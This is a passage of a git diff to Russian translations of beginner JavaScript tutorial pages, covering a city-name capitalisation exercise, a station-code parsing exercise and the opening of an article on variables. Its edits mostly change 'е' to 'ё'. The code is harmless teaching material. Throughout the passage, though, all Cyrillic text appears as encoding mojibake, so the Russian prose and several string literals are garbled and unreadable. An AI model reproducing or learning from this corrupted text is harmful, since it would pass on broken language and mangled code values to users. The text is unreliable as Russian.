- <li>Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ строки Π² этой Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΈ сохранитС Π΅Π΅ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
- <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эту послСднюю ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π² качСствС подстроки, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ строчной строки ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΡƒΠΊΠ²ΠΎΠΉ строчной строки, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠΉ Π½Π° Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ этой ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρ‹ Π·Π°ΠΌΠ΅Π½Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
+ <li>ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠΉΡ‚Π΅ всю строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽΡΡ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ input, Π² Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр ΠΈ сохранитС Π΅Ρ‘ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
+ <li>Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ строки Π² этой Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΈ сохранитС Π΅Ρ‘ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
+ <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эту послСднюю ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π² качСствС подстроки, Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ строчной строки ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΡƒΠΊΠ²ΠΎΠΉ строчной строки, ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠΉ Π½Π° Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ этой ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρ‹ Π·Π°ΠΌΠ΅Π½Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
<li>Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>result</code> Π½Π° Ρ€Π°Π²Π½ΡƒΡŽ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ (Π½Π΅ <code>input</code>).</li>
</ol>
@@ -425,7 +425,7 @@ textarea.onkeyup = function(){
&lt;textarea id="code" class="playable-code" style="height: 250px; width: 95%"&gt;
var list = document.querySelector('.output ul');
list.innerHTML = '';
-var cities = ['Π»ΠΎΠ½Π”ΠΎΠ½', 'ΠœΠ°Π½Π§Π•Π‘Π’Π΅Ρ€', 'Π‘ΠΈΠ ΠΌΠΈΠ½Π“Π•Πœ', 'Π»ΠΈΠ’Π•Π ΠΏΡƒΠ›Π¬'];
+var cities = ['Π»ΠΎΠ½Π”ΠΎΠ½', 'ΠœΠ°Π½Π§Π•Π‘Π’Ρ‘Ρ€', 'Π‘ΠΈΠ ΠΌΠΈΠ½Π“Π•Πœ', 'Π»ΠΈΠ’Π•Π ΠΏΡƒΠ›Π¬'];
for(var i = 0; i &lt; cities.length; i++) {
var input = cities[i];
// ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅
@@ -491,7 +491,7 @@ solution.addEventListener('click', function() {
updateCode();
});
-var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'</code><code class="language-html">Π»ΠΎΠ½Π”ΠΎΠ½</code><code class="language-js">\', \'</code><code class="language-html">ΠœΠ°Π½Π§Π•Π‘Π’Π΅Ρ€</code><code class="language-js">\', \'</code><code class="language-html">Π‘ΠΈΠ ΠΌΠΈΠ½Π“Π•Πœ</code><code class="language-js">\', \'</code><code class="language-html">Π»ΠΈΠ’Π•Π ΠΏΡƒΠ›Π¬</code><code class="language-js">\'];\n\nfor(var i = 0; i &lt; cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}';
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'</code><code class="language-html">Π»ΠΎΠ½Π”ΠΎΠ½</code><code class="language-js">\', \'</code><code class="language-html">ΠœΠ°Π½Π§Π•Π‘Π’Ρ‘Ρ€</code><code class="language-js">\', \'</code><code class="language-html">Π‘ΠΈΠ ΠΌΠΈΠ½Π“Π•Πœ</code><code class="language-js">\', \'</code><code class="language-html">Π»ΠΈΠ’Π•Π ΠΏΡƒΠ›Π¬</code><code class="language-js">\'];\n\nfor(var i = 0; i &lt; cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}';
var solutionEntry = jsSolution;
textarea.addEventListener('input', updateCode);
@@ -544,7 +544,7 @@ textarea.onkeyup = function(){
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π½ΠΎΠ²Ρ‹Ρ…_строк_ΠΈΠ·_старых_частСй">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Ρ… строк ΠΈΠ· старых частСй</h3>
-<p>Π’ этом послСднСм ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ массив содСрТит ΠΊΡƒΡ‡Ρƒ строк, содСрТащих ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΆΠ΅Π»Π΅Π·Π½ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠ½Ρ‹Ρ… станциях Π½Π° сСвСрС Англии. Π‘Ρ‚Ρ€ΠΎΠΊΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой элСмСнты Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Ρ‚Ρ€Π΅Ρ…Π±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ станции, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ°ΡˆΠΈΠ½ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт Ρ‚ΠΎΡ‡ΠΊΠ° с запятой, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ станции, ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½ΠΎΠ΅ для чтСния Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ. НапримСр:</p>
+<p>Π’ этом послСднСм ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ массив содСрТит ΠΊΡƒΡ‡Ρƒ строк, содСрТащих ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΆΠ΅Π»Π΅Π·Π½ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠ½Ρ‹Ρ… станциях Π½Π° сСвСрС Англии. Π‘Ρ‚Ρ€ΠΎΠΊΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой элСмСнты Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Ρ‚Ρ€Ρ‘Ρ…Π±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ станции, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ°ΡˆΠΈΠ½ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт Ρ‚ΠΎΡ‡ΠΊΠ° с запятой, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ станции, ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½ΠΎΠ΅ для чтСния Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ. НапримСр:</p>
<pre class="notranslate">MAN675847583748sjt567654;Manchester Piccadilly</pre>
@@ -555,7 +555,7 @@ textarea.onkeyup = function(){
<p>ΠœΡ‹ Π±Ρ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ol>
- <li>Π˜Π·Π²Π»Π΅ΠΊΠΈΡ‚Π΅ Ρ‚Ρ€Π΅Ρ…Π±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ станции ΠΈ сохранитС Π΅Π³ΠΎ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
+ <li>Π˜Π·Π²Π»Π΅ΠΊΠΈΡ‚Π΅ Ρ‚Ρ€Ρ‘Ρ…Π±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ станции ΠΈ сохранитС Π΅Π³ΠΎ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
<li>НайдитС Π½ΠΎΠΌΠ΅Ρ€ символьного Π½ΠΎΠΌΠ΅Ρ€Π° Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой.</li>
<li>Π˜Π·Π²Π»Π΅ΠΊΠΈΡ‚Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ для чтСния Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½ΠΎΠΌΠ΅Ρ€ индСкса Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой Π² качСствС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΈ сохранитС Π΅Π³ΠΎ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
<li>ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅ Π΄Π²Π΅ Π½ΠΎΠ²Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΡƒΡŽ строку.</li>
@@ -705,7 +705,7 @@ textarea.onkeyup = function(){
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>НСльзя Π½Π΅ ΡΠΎΠ³Π»Π°ΡΠΈΡ‚ΡŒΡΡ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ слова ΠΈ прСдлоТСния Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Π° β€” особСнно Π² JavaScript, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π΅Π±-сайты β€” всС связаны с людьми. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π»Π° Π²Π°ΠΌ основы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ манипуляции строками Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚. Π­Ρ‚ΠΎ ΠΏΠΎΠΉΠ΄Π΅Ρ‚ Π²Π°ΠΌ Π½Π° ΠΏΠΎΠ»ΡŒΠ·Ρƒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°ΠΉΠΌΡ‘Ρ‚Π΅ΡΡŒ Π±ΠΎΠ»Π΅Π΅ слоТными Ρ‚Π΅ΠΌΠ°ΠΌΠΈ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим послСдний Π²Π°ΠΆΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π² краткосрочной пСрспСктивС β€” массивы.</p>
+<p>НСльзя Π½Π΅ ΡΠΎΠ³Π»Π°ΡΠΈΡ‚ΡŒΡΡ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ слова ΠΈ прСдлоТСния Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Π° β€” особСнно Π² JavaScript, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π΅Π±-сайты β€” всС связаны с людьми. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π»Π° Π²Π°ΠΌ основы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ манипуляции строками Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚. Π­Ρ‚ΠΎ ΠΏΠΎΠΉΠ΄Ρ‘Ρ‚ Π²Π°ΠΌ Π½Π° ΠΏΠΎΠ»ΡŒΠ·Ρƒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°ΠΉΠΌΡ‘Ρ‚Π΅ΡΡŒ Π±ΠΎΠ»Π΅Π΅ слоТными Ρ‚Π΅ΠΌΠ°ΠΌΠΈ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим послСдний Π²Π°ΠΆΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π² краткосрочной пСрспСктивС β€” массивы.</p>
<p>{{PreviousMenuNext("Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Arrays", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги")}}</p>
diff --git a/files/ru/learn/javascript/first_steps/variables/index.html b/files/ru/learn/javascript/first_steps/variables/index.html
index c311f5eeef..c16ad7c214 100644
--- a/files/ru/learn/javascript/first_steps/variables/index.html
+++ b/files/ru/learn/javascript/first_steps/variables/index.html
@@ -8,7 +8,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Variables
<div>{{PreviousMenuNext("Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Math", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги")}}</div>
-<p class="summary">ПослС прочтСния послСдних Π΄Π²ΡƒΡ… статСй Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ JavaScript, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ для вас, ΠΊΠ°ΠΊΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ вмСстС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π²Π΅Π±-тСхнологиями ΠΈ ΠΊΠ°ΠΊΠΈΠΌΠΈ ΠΎΠ½ обладаСт функциями высокого уровня. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ основам, рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ Π±Π°Π·ΠΎΠ²Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² JavaScript β€” ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ.</p>
+<p class="summary">ПослС прочтСния послСдних Π΄Π²ΡƒΡ… статСй Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ JavaScript, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ для вас, ΠΊΠ°ΠΊΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ вмСстС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π²Π΅Π±-тСхнологиями ΠΈ ΠΊΠ°ΠΊΠΈΠΌΠΈ ΠΎΠ½ обладаСт функциями высокого уровня. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ основам, рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ Π±Π°Π·ΠΎΠ²Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² JavaScript β€” ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ.</p>
<table class="learn-box">
<tbody>
@@ -44,7 +44,7 @@ button.onclick = function() {
<p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΈΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ выполнится нСсколько строк ΠΊΠΎΠ΄Π°. ΠŸΠ΅Ρ€Π²Π°Ρ строка Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΠΊΠ½ΠΎ, Π³Π΄Π΅ попросит ввСсти Π΅Π³ΠΎ имя ΠΈ сохранит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Вторая строка ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ привСтствиС с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, взятым ΠΈΠ· значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΈΡŽ ΠΊΠ½ΠΎΠΏΠΊΠΈ выполнится нСсколько строк ΠΊΠΎΠ΄Π°. ΠŸΠ΅Ρ€Π²Π°Ρ строка Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΠΊΠ½ΠΎ, Π³Π΄Π΅ попросит ввСсти Π΅Π³ΠΎ имя ΠΈ сохранит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Вторая строка ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ привСтствиС с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, взятым ΠΈΠ· значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ дСйствиС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ здСсь, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Π΅ΠΌ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Π΅Π· использования ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
@@ -64,11 +64,11 @@ if (name === 'Адам') {
// ... ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅ ...</pre>
-<p>Π’Π°ΠΌ сСйчас Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ ΡΠΈΠ½Ρ‚Π°ΠΊΡΠΈΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ (ΠΏΠΎΠΊΠ°!), Π½ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ идСю: Ссли Π±Ρ‹ Ρƒ нас Π½Π΅ Π±Ρ‹Π»ΠΎ доступных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π½Π°ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ гигантский Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ провСрял, ΠΊΠ°ΠΊΠΎΠ΅ имя Π±Ρ‹Π»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π» ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ сообщСниС для этого ΠΈΠΌΠ΅Π½ΠΈ. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это нСэффСктивно (ΠΊΠΎΠ΄ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС, Π΄Π°ΠΆΠ΅ для Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²), ΠΈ ΠΎΠ½ просто Π½Π΅ сработаСт, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹.</p>
